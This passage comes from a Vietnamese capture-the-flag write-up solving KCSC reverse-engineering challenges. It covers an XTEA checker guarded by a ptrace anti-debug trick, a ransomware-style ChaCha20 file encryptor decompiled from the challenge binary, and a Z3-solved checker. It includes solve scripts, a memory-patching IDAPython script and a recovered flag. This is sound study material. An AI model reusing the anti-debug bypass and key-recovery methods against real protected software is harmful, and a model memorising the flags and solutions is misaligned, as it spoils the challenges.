    sub_12D4(&amp;s[i], &amp;s[i + <span class="hljs-number">4</span>]);
  <span class="hljs-keyword">for</span> ( j = <span class="hljs-number">0</span>; ; ++j )
  {
    <span class="hljs-keyword">if</span> ( j &gt; <span class="hljs-number">47</span> )
    {
      <span class="hljs-built_in">puts</span>(<span class="hljs-string">"Correct!"</span>);
      <span class="hljs-keyword">return</span> <span class="hljs-number">0L</span>L;
    }
    <span class="hljs-keyword">if</span> ( s[j] != byte_4040[j] )
      <span class="hljs-keyword">break</span>;
  }
  <span class="hljs-built_in">puts</span>(<span class="hljs-string">"Incorrect!"</span>);
  <span class="hljs-keyword">return</span> <span class="hljs-number">0L</span>L;
}
</code></pre>
<p>Vì mình không cài IDA lên WSL nên mình sẽ debug remote như này</p>
<p><img src="https://hackmd.io/_uploads/Byopza9vkl.png" alt="image" /></p>
<p><img src="https://hackmd.io/_uploads/r1mQXTcDkg.png" alt="image" /></p>
<p>Do chương trình cũng đơn giản nên ta chỉ phân tích nhanh</p>
<p><img src="https://hackmd.io/_uploads/BkGpQa9Dyg.png" alt="image" /></p>
<p>- Chương trình nhận vào 48 bytes từ input và mã hóa thông qua hàm <code>sub_5555555552D4</code>, lưu trữ luôn vào s<br />- Kiểm tra với <code>byte_555555558040</code>, nếu đúng thì trả về Correct, sai thì Incorrect<br />Hàm mã hóa <code>sub_5555555552D4</code>:</p>
<p><img src="https://hackmd.io/_uploads/SkCfSacvJl.png" alt="image" /></p>
<p>Ta có thể nhận ra đây là mã hóa XTEA khá quen thuộc<br />Mình có tham khảo chương trình decrypt XTEA bằng python tại: <a target="_blank" href="https://github.com/niklasb/ctf-tools/blob/master/crypto/xtea.py%EF%BF%BCScript">https://github.com/niklasb/ctf-tools/blob/master/crypto/xtea.py<br />Script</a>:</p>
<pre><code class="lang-python"><span class="hljs-keyword">from</span> Crypto.Util.number <span class="hljs-keyword">import</span>*
dword_5555555580C0=[<span class="hljs-number">0x126575B</span>, <span class="hljs-number">0x51903231</span>, <span class="hljs-number">0x8AAB8F5E</span>, <span class="hljs-number">0x0CA51930F</span>]
byte_555555558040=[<span class="hljs-number">473413356</span>, <span class="hljs-number">2967692918</span>, <span class="hljs-number">1094173039</span>, <span class="hljs-number">1162692205</span>, <span class="hljs-number">2047540795</span>, <span class="hljs-number">593189689</span>, <span class="hljs-number">3392237974</span>, <span class="hljs-number">2109325366</span>, <span class="hljs-number">3133376540</span>, <span class="hljs-number">144254372</span>, <span class="hljs-number">4264188329</span>, <span class="hljs-number">2498107430</span>]
rounds = <span class="hljs-number">32</span>
mask = <span class="hljs-number">0xffffffff</span>
delta = <span class="hljs-number">0x9E3779B9</span>
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">decrypt</span>(<span class="hljs-params">v, key</span>):</span>
    v=list(v)
    sum=(delta*rounds)&amp;mask
    <span class="hljs-keyword">for</span> _ <span class="hljs-keyword">in</span> range(rounds):
        v[<span class="hljs-number">1</span>] -= (((v[<span class="hljs-number">0</span>] &lt;&lt; <span class="hljs-number">4</span>) ^ (v[<span class="hljs-number">0</span>] &gt;&gt; <span class="hljs-number">5</span>)) + v[<span class="hljs-number">0</span>]) ^ (sum + key[(sum&gt;&gt;<span class="hljs-number">11</span>) &amp; <span class="hljs-number">3</span>])
        v[<span class="hljs-number">1</span>] &amp;= mask
        sum = (sum-delta)&amp;mask
        v[<span class="hljs-number">0</span>] -= (((v[<span class="hljs-number">1</span>] &lt;&lt; <span class="hljs-number">4</span>) ^ (v[<span class="hljs-number">1</span>] &gt;&gt; <span class="hljs-number">5</span>)) + v[<span class="hljs-number">1</span>]) ^ (sum + key[sum &amp; <span class="hljs-number">3</span>])
        v[<span class="hljs-number">0</span>] &amp;= mask
    <span class="hljs-keyword">return</span> v
<span class="hljs-keyword">if</span> __name__ == <span class="hljs-string">"__main__"</span>:
    n=<span class="hljs-string">b''</span>
    <span class="hljs-keyword">for</span> j <span class="hljs-keyword">in</span> range(<span class="hljs-number">0</span>,len(byte_555555558040),<span class="hljs-number">2</span>):
        a=(decrypt(byte_555555558040[j:j+<span class="hljs-number">2</span>], dword_5555555580C0))
        <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range(<span class="hljs-number">2</span>):
            n+=(long_to_bytes(a[i])[::<span class="hljs-number">-1</span>])
    print(n)
<span class="hljs-comment">#b'\xec\xb0LNQ\xa7r\xdd}\x1d\x0c\x9c\x0f\x9e\x93\x8ez\xb6\x1d\xedC\xea{H\xa93\x9f\x1a\rj\xa9\xc9m\xb5\xbc\xf1%\xc6\xb6.\x80,II\x1e\xb3\x103'</span>
</code></pre>
<p>Đến đây mình mới phát hiện ra điều gì đấy không đúng, ngồi fix lại chương trình decrypt khá lâu vì nghĩ chắc là sai ở đâu đấy, cuối cùng mình đã phải xem xét lại kỹ file binary</p>
<p><img src="https://hackmd.io/_uploads/r1bbKaqPyl.png" alt="image" /></p>
<p>Trong functions mình thấy chương trình có gọi <code>ptrace</code> - là syscall chống debug trong Linux<br />Do đây không phải là file Windows excutable nên sẽ không có các WinAPI như <code>IsDebuggerPresent()</code> hay <code>NtQueryInformationProcess()</code> nên ta cần lưu ý khi làm bài<br />Ta trỏ đến địa chỉ gọi ptrace:</p>
<p><img src="https://hackmd.io/_uploads/SyZOjTqv1g.png" alt="image" /></p>
<p>Nếu ta debug thì chương trình sẽ chuyển sang luồng fake, dẫn đến key decrypt XTEA bị sai<br />Xem pseudo code để có cái nhìn trực quan hơn:</p>
<p><img src="https://hackmd.io/_uploads/rJBOna9PJe.png" alt="image" /></p>
<p>Ta có thể nhận thấy khác nhau ở <code>off_555555558080</code> và <code>off_555555558090</code> giữa luồng fake và luồng real dẫn đến chương trình trả về 2 key khác nhau<br />Cần sửa ZF hoặc patch để chương trình đưa vào luồng đúng<br />Lúc này ta có thể lấy <code>dword_5555555580C0</code> chuẩn ra và bỏ vào script solve:</p>
<pre><code class="lang-python"><span class="hljs-keyword">from</span> Crypto.Util.number <span class="hljs-keyword">import</span>*
<span class="hljs-comment">#dword_5555555580C0=[0x126575B, 0x51903231, 0x8AAB8F5E, 0x0CA51930F]</span>
dword_5555555580C0=[
    <span class="hljs-number">0x3AB27278</span>,
    <span class="hljs-number">0x0A840805B</span>,
    <span class="hljs-number">0x0E864925B</span>,
    <span class="hljs-number">0x0B7B1EEDE</span>]
byte_555555558040=[<span class="hljs-number">473413356</span>, <span class="hljs-number">2967692918</span>, <span class="hljs-number">1094173039</span>, <span class="hljs-number">1162692205</span>, <span class="hljs-number">2047540795</span>, <span class="hljs-number">593189689</span>, <span class="hljs-number">3392237974</span>, <span class="hljs-number">2109325366</span>, <span class="hljs-number">3133376540</span>, <span class="hljs-number">144254372</span>, <span class="hljs-number">4264188329</span>, <span class="hljs-number">2498107430</span>] <span class="hljs-comment">#dword</span>
rounds = <span class="hljs-number">32</span>
mask = <span class="hljs-number">0xffffffff</span>
delta = <span class="hljs-number">0x9E3779B9</span>
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">decrypt</span>(<span class="hljs-params">v, key</span>):</span>
    v=list(v)
    sum=(delta*rounds)&amp;mask
    <span class="hljs-keyword">for</span> _ <span class="hljs-keyword">in</span> range(rounds):
        v[<span class="hljs-number">1</span>] -= (((v[<span class="hljs-number">0</span>] &lt;&lt; <span class="hljs-number">4</span>) ^ (v[<span class="hljs-number">0</span>] &gt;&gt; <span class="hljs-number">5</span>)) + v[<span class="hljs-number">0</span>]) ^ (sum + key[(sum&gt;&gt;<span class="hljs-number">11</span>) &amp; <span class="hljs-number">3</span>])
        v[<span class="hljs-number">1</span>] &amp;= mask
        sum = (sum-delta)&amp;mask
        v[<span class="hljs-number">0</span>] -= (((v[<span class="hljs-number">1</span>] &lt;&lt; <span class="hljs-number">4</span>) ^ (v[<span class="hljs-number">1</span>] &gt;&gt; <span class="hljs-number">5</span>)) + v[<span class="hljs-number">1</span>]) ^ (sum + key[sum &amp; <span class="hljs-number">3</span>])
        v[<span class="hljs-number">0</span>] &amp;= mask
    <span class="hljs-keyword">return</span> v
<span class="hljs-keyword">if</span> __name__ == <span class="hljs-string">"__main__"</span>:
    n=<span class="hljs-string">b''</span>
    <span class="hljs-keyword">for</span> j <span class="hljs-keyword">in</span> range(<span class="hljs-number">0</span>,len(byte_555555558040),<span class="hljs-number">2</span>):
        a=(decrypt(byte_555555558040[j:j+<span class="hljs-number">2</span>], dword_5555555580C0))
        <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range(<span class="hljs-number">2</span>):
            n+=(long_to_bytes(a[i])[::<span class="hljs-number">-1</span>])
    print(n)
<span class="hljs-comment">#b'KCSC{XTEA_encryption_and_debugger_detection_:&gt;&gt;}'</span>
</code></pre>
<p>Flag: KCSC{XTEA_encryption_and_debugger_detection_:&gt;&gt;}</p>
<h3 id="heading-chachacha">ChaChaCha</h3>
<p><img src="https://hackmd.io/_uploads/rJfjf09Dkl.png" alt="image" /></p>
<p>Bài này mình tốn cả chiều để viết script decrypt tuy nhiên cuối cùng mình lại giải được mà không cần decrypt :(( làm mình khá đuối sức và buồn ngủ</p>
<p><img src="https://hackmd.io/_uploads/Bkf4N09vyl.png" alt="image" /></p>
<p>Để cho ta 3 file, 1 file dump, 1 file txt và 1 file exe<br />Mở important_note.txt bằng hex editor và nhìn kích thước file thì ta có thể đoán rằng đây là 1 file đã bị mã hóa:</p>
<p><img src="https://hackmd.io/_uploads/rJrCEC9P1e.png" alt="image" /></p>
<p>Mở file ChaChaCha.exe bằng IDA ta có pseudo code như sau:</p>
<pre><code class="lang-c"><span class="hljs-function"><span class="hljs-keyword">int</span> __cdecl <span class="hljs-title">main</span><span class="hljs-params">(<span class="hljs-keyword">int</span> argc, <span class="hljs-keyword">const</span> <span class="hljs-keyword">char</span> **argv, <span class="hljs-keyword">const</span> <span class="hljs-keyword">char</span> **envp)</span>
</span>{
  HMODULE LibraryA; <span class="hljs-comment">// eax</span>
  BOOLEAN (__stdcall *SystemFunction036)(PVOID, ULONG); <span class="hljs-comment">// eax</span>
  HMODULE v5; <span class="hljs-comment">// eax</span>
  BOOLEAN (__stdcall *ProcAddress)(PVOID, ULONG); <span class="hljs-comment">// eax</span>
  HANDLE FileW; <span class="hljs-comment">// eax</span>
  <span class="hljs-keyword">void</span> *v8; <span class="hljs-comment">// ebx</span>
  <span class="hljs-keyword">signed</span> <span class="hljs-keyword">int</span> FileSize; <span class="hljs-comment">// edi</span>
  _BYTE *v11; <span class="hljs-comment">// ebx</span>
  <span class="hljs-keyword">int</span> v12; <span class="hljs-comment">// ecx</span>
  _BYTE *v13; <span class="hljs-comment">// ecx</span>
  <span class="hljs-keyword">signed</span> <span class="hljs-keyword">int</span> v14; <span class="hljs-comment">// esi</span>
  <span class="hljs-keyword">signed</span> <span class="hljs-keyword">int</span> v15; <span class="hljs-comment">// ebx</span>
  _BYTE *v16; <span class="hljs-comment">// eax</span>
  <span class="hljs-keyword">char</span> v17; <span class="hljs-comment">// al</span>
  <span class="hljs-keyword">char</span> v18; <span class="hljs-comment">// [esp+0h] [ebp-D8h]</span>
  HANDLE hFile; <span class="hljs-comment">// [esp+Ch] [ebp-CCh]</span>
  <span class="hljs-keyword">signed</span> <span class="hljs-keyword">int</span> v20; <span class="hljs-comment">// [esp+10h] [ebp-C8h]</span>
  <span class="hljs-keyword">char</span> *v21; <span class="hljs-comment">// [esp+14h] [ebp-C4h]</span>
  _BYTE *v22; <span class="hljs-comment">// [esp+18h] [ebp-C0h]</span>
  <span class="hljs-keyword">char</span> *v23; <span class="hljs-comment">// [esp+1Ch] [ebp-BCh]</span>
  DWORD NumberOfBytesWritten; <span class="hljs-comment">// [esp+20h] [ebp-B8h] BYREF</span>
  DWORD NumberOfBytesRead; <span class="hljs-comment">// [esp+24h] [ebp-B4h] BYREF</span>
  <span class="hljs-keyword">char</span> v26[<span class="hljs-number">48</span>]; <span class="hljs-comment">// [esp+28h] [ebp-B0h] BYREF</span>
  <span class="hljs-keyword">int</span> v27; <span class="hljs-comment">// [esp+58h] [ebp-80h]</span>
  <span class="hljs-keyword">char</span> v28[<span class="hljs-number">64</span>]; <span class="hljs-comment">// [esp+68h] [ebp-70h] BYREF</span>
  <span class="hljs-keyword">char</span> v29[<span class="hljs-number">32</span>]; <span class="hljs-comment">// [esp+A8h] [ebp-30h] BYREF</span>
  <span class="hljs-keyword">char</span> v30[<span class="hljs-number">12</span>]; <span class="hljs-comment">// [esp+C8h] [ebp-10h] BYREF</span>

  LibraryA = LoadLibraryA(<span class="hljs-string">"advapi32.dll"</span>);
  SystemFunction036 = (BOOLEAN (__stdcall *)(PVOID, ULONG))GetProcAddress(LibraryA, <span class="hljs-string">"SystemFunction036"</span>);
  SystemFunction036(v29, <span class="hljs-number">32</span>);
  v5 = LoadLibraryA(<span class="hljs-string">"advapi32.dll"</span>);
  ProcAddress = (BOOLEAN (__stdcall *)(PVOID, ULONG))GetProcAddress(v5, <span class="hljs-string">"SystemFunction036"</span>);
  ProcAddress(v30, <span class="hljs-number">12</span>);
  FileW = CreateFileW(FileName, <span class="hljs-number">0xC0000000</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">3u</span>, <span class="hljs-number">0x80</span>u, <span class="hljs-number">0</span>);
  v8 = FileW;
  hFile = FileW;
  <span class="hljs-keyword">if</span> ( FileW == (HANDLE)<span class="hljs-number">-1</span> )
  {
    sub_401590(<span class="hljs-string">"Cannot Open File"</span>, v18);
    CloseHandle((HANDLE)<span class="hljs-number">0xFFFFFFFF</span>);
    <span class="hljs-keyword">return</span> <span class="hljs-number">1</span>;
  }
  <span class="hljs-keyword">else</span>
  {
    FileSize = GetFileSize(FileW, <span class="hljs-number">0</span>);
    v20 = FileSize;
    v21 = (<span class="hljs-keyword">char</span> *)<span class="hljs-built_in">malloc</span>(FileSize);
    <span class="hljs-keyword">if</span> ( ReadFile(v8, v21, FileSize, &amp;NumberOfBytesRead, <span class="hljs-number">0</span>) )
    {
      v11 = <span class="hljs-built_in">malloc</span>(FileSize);
      v22 = v11;
      sub_4013D0(v12, v30);
      v14 = <span class="hljs-number">0</span>;
      <span class="hljs-keyword">if</span> ( FileSize &gt; <span class="hljs-number">0</span> )
      {
        v23 = v28;
        <span class="hljs-keyword">do</span>
        {
          sub_401000(v26, v28, v13);
          ++v27;
          v15 = v14 + <span class="hljs-number">64</span>;
          <span class="hljs-keyword">if</span> ( !__OFSUB__(v14, v14 + <span class="hljs-number">64</span>) )
          {
            v16 = v22;
            <span class="hljs-keyword">do</span>
            {
              <span class="hljs-keyword">if</span> ( v14 &gt;= FileSize )
                <span class="hljs-keyword">break</span>;
              v13 = &amp;v16[v14];
              v17 = v23[v14] ^ v16[v14 + v21 - v22];
              ++v14;
              FileSize = v20;
              *v13 = v17;
              v16 = v22;
            }
            <span class="hljs-keyword">while</span> ( v14 &lt; v15 );
          }
          v23 -= <span class="hljs-number">64</span>;
          v14 = v15;
        }
        <span class="hljs-keyword">while</span> ( v15 &lt; FileSize );
        v11 = v22;
      }
      SetFilePointer(hFile, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>);
      <span class="hljs-keyword">if</span> ( WriteFile(hFile, v11, FileSize, &amp;NumberOfBytesWritten, <span class="hljs-number">0</span>) )
      {
        CloseHandle(hFile);
        sub_401590(<span class="hljs-string">"Some important file has been encrypted!!!\n"</span>, (<span class="hljs-keyword">char</span>)FileName);
        <span class="hljs-keyword">return</span> <span class="hljs-number">0</span>;
      }
      <span class="hljs-keyword">else</span>
      {
        sub_401590(<span class="hljs-string">"Cannot Write File"</span>, v18);
        CloseHandle(hFile);
        <span class="hljs-keyword">return</span> <span class="hljs-number">1</span>;
      }
    }
    <span class="hljs-keyword">else</span>
    {
      sub_401590(<span class="hljs-string">"Cannot Read File"</span>, v18);
      CloseHandle(v8);
      <span class="hljs-keyword">return</span> <span class="hljs-number">1</span>;
    }
  }
}
</code></pre>
<p>Phân tích:<br />Đầu tiên chương trình tạo 1 Buffer ngẫu nhiên 32 bytes và 1 Buffer 12 bytes:</p>
<p><img src="https://hackmd.io/_uploads/rJaHU0qwkx.png" alt="image" /></p>
<p>Tiếp đến là các bước mở file, đọc file gì đấy tuy nhiên mình sẽ không đi phân tích phần này:</p>
<p><img src="https://hackmd.io/_uploads/BkFyvCqD1e.png" alt="image" /></p>
<p>Tiếp đến gọi hàm <code>sub_8913D0</code>:</p>
<p><img src="https://hackmd.io/_uploads/S15Uw0qvJx.png" alt="image" /></p>
<p>Bên trong có khá nhiều phép toán bitwise, có thể là thuật toán tạo khóa nào đấy:</p>
<p><img src="https://hackmd.io/_uploads/SkdiwR9vkx.png" alt="image" /></p>
<p>Ta để ý:</p>
<pre><code class="lang-plaintext">qmemcpy(a2, "expand 32-byte k", 16);
</code></pre>
<p>Đây có thể là gọi sig của mã hóa salsa20 hoặc chacha20, tuy nhiên đề bài là ChaChaCha nên khả năng cao là chacha20</p>
<p>Ta có thể hiểu là tạo ma trận 4x4, hàng 1 là chuỗi “expand 32-byte k”, 2 hàng tiếp theo là 32 bytes key, 4 bytes đầu tiên của hàng cuối là counter = 1129530187 = 'KCSC' và 12 bytes cuối là nonce</p>
<p><img src="https://hackmd.io/_uploads/ByOGqCcvyl.png" alt="image" /></p>
<p>Tìm hiểu thêm tại <a target="_blank" href="https://xilinx.github.io/Vitis_Libraries/security/2019.2/guide_L1/internals/chacha20.html%EF%BF%BC%C4%91%E1%BA%B7t">https://xilinx.github.io/Vitis_Libraries/security/2019.2/guide_L1/internals/chacha20.html<br />đặt</a> breakpoint như sau và mở hexview, ta có thể thấy key và nonce đã được lưu trữ:</p>
<p><img src="https://hackmd.io/_uploads/ryH1JysD1x.png" alt="image" /></p>
<p>Tiếp theo:</p>
<p><img src="https://hackmd.io/_uploads/BJdLo0cvyg.png" alt="image" /></p>
<p>Gọi hàm <code>sub_891000</code> là mã hóa file bằng thuật toán chacha20<br />Sau đó là xor gì đấy mình không hiểu lắm, có lẽ đây là nguyên nhân khiến mình viết chương trình decrypt cả chiều không được (sau khi tham khảo các WU khác thì thấy mọi người sử dụng CyberChef để decrypt)<br />Tạm dừng ở đây, ta sẽ phân tích file dump:<br />Search strings "expand 32-byte k" trong IDA:</p>
<p><img src="https://hackmd.io/_uploads/Sy5UkyoDJx.png" alt="image" /></p>
<p>Click vào để tìm địa chỉ lưu nó:</p>
<p><img src="https://hackmd.io/_uploads/BJLt1yiwJl.png" alt="image" /></p>
<p>Do file dump này trích được memory lúc file bị mã hóa thành important_note.txt nên đây sẽ là key và nonce để decrypt file<br />dump lấy bytes:</p>
<pre><code class="lang-plaintext">[0x65, 0x78, 0x70, 0x61, 0x6E, 0x64, 0x20, 0x33, 0x32, 0x2D, 0x62, 0x79, 0x74, 0x65, 0x20, 0x6B, 0xD9, 0xFA, 0xBB, 0x42, 0x0C, 0x2D, 0xB8, 0x08, 0xD1, 0xF8, 0xBF, 0xA5, 0x89, 0x0A, 0xC3, 0xB3, 0x84, 0x9F, 0x69, 0xE2, 0xF3, 0x30, 0xD4, 0xA9, 0x0D, 0xB1, 0x19, 0xBD, 0x4E, 0xA0, 0xB8, 0x30, 0x4B, 0x43, 0x53, 0x43, 0xDB, 0x7B, 0xE6, 0x93, 0xEE, 0x9B, 0xC1, 0xA4, 0x70, 0x73, 0xCA, 0x4B]
</code></pre>
<p>Do chacha20 có thể dùng chương trình mã hóa để giải mã(mã dòng), nên mình sẽ patch luôn bộ nhớ tại key hiện tại thành key lấy từ file dump để giải mã file important_note.txt<br />đặt breakpoint tại:</p>
<p><img src="https://hackmd.io/_uploads/ryH1JysD1x.png" alt="image" /></p>
<p>Ta chạy script sau để thay đổi thay đổi bộ nhớ (không thấy ai xài cách này nên tâm đắc vl 😈)</p>
<pre><code class="lang-python"><span class="hljs-keyword">import</span> idaapi
<span class="hljs-keyword">import</span> idc
start_addr = <span class="hljs-number">0x00AFFAA0</span><span class="hljs-comment">#địa chỉ sẽ khác nhau mỗi lần debug, cần thay đổi khi thử chạy</span>
end_addr = start_addr+<span class="hljs-number">63</span>
new_data = [
    <span class="hljs-number">0x65</span>, <span class="hljs-number">0x78</span>, <span class="hljs-number">0x70</span>, <span class="hljs-number">0x61</span>, <span class="hljs-number">0x6E</span>, <span class="hljs-number">0x64</span>, <span class="hljs-number">0x20</span>, <span class="hljs-number">0x33</span>, <span class="hljs-number">0x32</span>, <span class="hljs-number">0x2D</span>, <span class="hljs-number">0x62</span>, <span class="hljs-number">0x79</span>,
    <span class="hljs-number">0x74</span>, <span class="hljs-number">0x65</span>, <span class="hljs-number">0x20</span>, <span class="hljs-number">0x6B</span>, <span class="hljs-number">0xD9</span>, <span class="hljs-number">0xFA</span>, <span class="hljs-number">0xBB</span>, <span class="hljs-number">0x42</span>, <span class="hljs-number">0x0C</span>, <span class="hljs-number">0x2D</span>, <span class="hljs-number">0xB8</span>, <span class="hljs-number">0x08</span>,
    <span class="hljs-number">0xD1</span>, <span class="hljs-number">0xF8</span>, <span class="hljs-number">0xBF</span>, <span class="hljs-number">0xA5</span>, <span class="hljs-number">0x89</span>, <span class="hljs-number">0x0A</span>, <span class="hljs-number">0xC3</span>, <span class="hljs-number">0xB3</span>, <span class="hljs-number">0x84</span>, <span class="hljs-number">0x9F</span>, <span class="hljs-number">0x69</span>, <span class="hljs-number">0xE2</span>,
    <span class="hljs-number">0xF3</span>, <span class="hljs-number">0x30</span>, <span class="hljs-number">0xD4</span>, <span class="hljs-number">0xA9</span>, <span class="hljs-number">0x0D</span>, <span class="hljs-number">0xB1</span>, <span class="hljs-number">0x19</span>, <span class="hljs-number">0xBD</span>, <span class="hljs-number">0x4E</span>, <span class="hljs-number">0xA0</span>, <span class="hljs-number">0xB8</span>, <span class="hljs-number">0x30</span>,
    <span class="hljs-number">0x4B</span>, <span class="hljs-number">0x43</span>, <span class="hljs-number">0x53</span>, <span class="hljs-number">0x43</span>, <span class="hljs-number">0xDB</span>, <span class="hljs-number">0x7B</span>, <span class="hljs-number">0xE6</span>, <span class="hljs-number">0x93</span>, <span class="hljs-number">0xEE</span>, <span class="hljs-number">0x9B</span>, <span class="hljs-number">0xC1</span>, <span class="hljs-number">0xA4</span>,
    <span class="hljs-number">0x70</span>, <span class="hljs-number">0x73</span>, <span class="hljs-number">0xCA</span>, <span class="hljs-number">0x4B</span>
]

<span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range(len(new_data)):
    addr = start_addr + i
    idc.patch_byte(addr, new_data[i])
print(<span class="hljs-string">f"Thay đổi bộ nhớ thành công từ <span class="hljs-subst">{hex(start_addr)}</span> đến <span class="hljs-subst">{hex(end_addr)}</span>"</span>)
</code></pre>
<p>Sau khi thay đổi bộ nhớ, tiếp tục chạy hết chương trình để mã hóa lại file<br />Mở lại file important_note.txt lúc nãy ra, ta thấy file đã được decrypt thành công</p>
<p><img src="https://hackmd.io/_uploads/Syo07Jiwkl.png" alt="image" /></p>
<p>Nhìn header ta có thể thấy đây là một file Windows excutable<br />Chạy file exe, ta được:</p>
<p><img src="https://hackmd.io/_uploads/BJs4rkov1g.png" alt="image" /></p>
<p><img src="https://hackmd.io/_uploads/HJQcryjPkl.png" alt="image" /></p>
<h3 id="heading-waiterfall">WaiterFall</h3>
<p><img src="https://hackmd.io/_uploads/rkcIRYoPkl.png" alt="image" /></p>
<p>Mở IDA:</p>
<p><img src="https://hackmd.io/_uploads/rk7OCFjvJx.png" alt="image" /></p>
<p>Nhìn có vẻ rất khủng bố :O<br />Tuy nhiên đây chỉ là 1 dạng bài sử dụng Z3 rất kinh điển<br />Solve Script: (byClaude)</p>
<pre><code class="lang-python"><span class="hljs-keyword">from</span> z3 <span class="hljs-keyword">import</span> *

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">solve_challenge</span>():</span>
    s = Solver()
    chars = [BitVec(<span class="hljs-string">f'char_<span class="hljs-subst">{i}</span>'</span>, <span class="hljs-number">8</span>) <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range(<span class="hljs-number">62</span>)]
    v3 = <span class="hljs-number">0</span>

    v5 = <span class="hljs-number">0x1000008020020</span>
    v7 = <span class="hljs-number">0x60010020000100</span>
    v8 = <span class="hljs-number">0x100020080408000</span>
    v9 = <span class="hljs-number">0x844000044000</span>
    <span class="hljs-keyword">for</span> i, char <span class="hljs-keyword">in</span> enumerate(chars):
        s.add(char &gt;= <span class="hljs-number">32</span>)  <span class="hljs-comment"># Space</span>
        s.add(char &lt;= <span class="hljs-number">126</span>)  <span class="hljs-comment"># ~        </span>
        conditions = []
        conditions.append(If(char == ord(<span class="hljs-string">'C'</span>), If((i - <span class="hljs-number">1</span>) &amp; <span class="hljs-number">0xFFFFFFFD</span> == <span class="hljs-number">0</span>, <span class="hljs-number">1</span>, <span class="hljs-number">0</span>), <span class="hljs-number">0</span>))
        conditions.append(If(char == ord(<span class="hljs-string">'K'</span>), If(i == <span class="hljs-number">0</span>, <span class="hljs-number">1</span>, <span class="hljs-number">0</span>), <span class="hljs-number">0</span>))
        conditions.append(If(char == ord(<span class="hljs-string">'S'</span>), If(i == <span class="hljs-number">2</span>, <span class="hljs-number">1</span>, <span class="hljs-number">0</span>), <span class="hljs-number">0</span>))
        conditions.append(If(char == ord(<span class="hljs-string">'c'</span>), If(i == <span class="hljs-number">37</span>, <span class="hljs-number">1</span>, <span class="hljs-number">0</span>), <span class="hljs-number">0</span>))
        conditions.append(If(char == ord(<span class="hljs-string">'d'</span>), If(i == <span class="hljs-number">20</span>, <span class="hljs-number">1</span>, <span class="hljs-number">0</span>), <span class="hljs-number">0</span>))
        conditions.append(If(char == ord(<span class="hljs-string">'g'</span>), If(Or(i == <span class="hljs-number">11</span>, i == <span class="hljs-number">60</span>), <span class="hljs-number">1</span>, <span class="hljs-number">0</span>), <span class="hljs-number">0</span>))
        conditions.append(If(char == ord(<span class="hljs-string">'u'</span>), If(i == <span class="hljs-number">24</span>, <span class="hljs-number">1</span>, <span class="hljs-number">0</span>), <span class="hljs-number">0</span>))
        conditions.append(If(char == ord(<span class="hljs-string">'{'</span>), If(i == <span class="hljs-number">4</span>, <span class="hljs-number">1</span>, <span class="hljs-number">0</span>), <span class="hljs-number">0</span>))
        conditions.append(If(char == ord(<span class="hljs-string">'}'</span>), If(i == <span class="hljs-number">61</span>, <span class="hljs-number">1</span>, <span class="hljs-number">0</span>), <span class="hljs-number">0</span>))

        <span class="hljs-keyword">if</span> i &lt;= <span class="hljs-number">0x31</span>:  <span class="hljs-comment"># For '_'</span>
            <span class="hljs-keyword">if</span> (<span class="hljs-number">0x2101004011000</span> &gt;&gt; i) &amp; <span class="hljs-number">1</span>:
                conditions.append(If(char == ord(<span class="hljs-string">'_'</span>), <span class="hljs-number">1</span>, <span class="hljs-number">0</span>))

        <span class="hljs-keyword">if</span> i &lt;= <span class="hljs-number">0x34</span>:  <span class="hljs-comment"># For 'a'</span>
            <span class="hljs-keyword">if</span> (<span class="hljs-number">0x10000210000040</span> &gt;&gt; i) &amp; <span class="hljs-number">1</span>:
                conditions.append(If(char == ord(<span class="hljs-string">'a'</span>), <span class="hljs-number">1</span>, <span class="hljs-number">0</span>))

        <span class="hljs-keyword">if</span> i &lt;= <span class="hljs-number">0x37</span>:  <span class="hljs-comment"># For 'e'</span>
            <span class="hljs-keyword">if</span> (<span class="hljs-number">0x80000040200000</span> &gt;&gt; i) &amp; <span class="hljs-number">1</span>:
                conditions.append(If(char == ord(<span class="hljs-string">'e'</span>), <span class="hljs-number">1</span>, <span class="hljs-number">0</span>))

        <span class="hljs-keyword">if</span> i &lt;= <span class="hljs-number">0x32</span>:  <span class="hljs-comment"># For 'f'</span>
            <span class="hljs-keyword">if</span> (<span class="hljs-number">0x4200100802000</span> &gt;&gt; i) &amp; <span class="hljs-number">1</span>:
                conditions.append(If(char == ord(<span class="hljs-string">'f'</span>), <span class="hljs-number">1</span>, <span class="hljs-number">0</span>))

        <span class="hljs-keyword">if</span> i &lt;= <span class="hljs-number">0x3A</span>:  <span class="hljs-comment"># For 'i'</span>
            <span class="hljs-keyword">if</span> (<span class="hljs-number">0x400000000000280</span> &gt;&gt; i) &amp; <span class="hljs-number">1</span>:
                conditions.append(If(char == ord(<span class="hljs-string">'i'</span>), <span class="hljs-number">1</span>, <span class="hljs-number">0</span>))

        <span class="hljs-keyword">if</span> i &lt;= <span class="hljs-number">0x33</span>:  <span class="hljs-comment"># For 'l'</span>
            <span class="hljs-keyword">if</span> (<span class="hljs-number">0x8480C02000000</span> &gt;&gt; i) &amp; <span class="hljs-number">1</span>:
                conditions.append(If(char == ord(<span class="hljs-string">'l'</span>), <span class="hljs-number">1</span>, <span class="hljs-number">0</span>))

        <span class="hljs-keyword">if</span> i &lt;= <span class="hljs-number">0x3B</span>:  <span class="hljs-comment"># For 'n'</span>
            <span class="hljs-keyword">if</span> (<span class="hljs-number">0xA00008000080400</span> &gt;&gt; i) &amp; <span class="hljs-number">1</span>:
                conditions.append(If(char == ord(<span class="hljs-string">'n'</span>), <span class="hljs-number">1</span>, <span class="hljs-number">0</span>))

        <span class="hljs-keyword">if</span> i &lt;= <span class="hljs-number">0x2F</span>:  <span class="hljs-comment"># For 'o'</span>
            <span class="hljs-keyword">if</span> (v9 &gt;&gt; i) &amp; <span class="hljs-number">1</span>:
                conditions.append(If(char == ord(<span class="hljs-string">'o'</span>), <span class="hljs-number">1</span>, <span class="hljs-number">0</span>))

        <span class="hljs-keyword">if</span> i &lt;= <span class="hljs-number">0x38</span>:  <span class="hljs-comment"># For 'r'</span>
            <span class="hljs-keyword">if</span> (v8 &gt;&gt; i) &amp; <span class="hljs-number">1</span>:
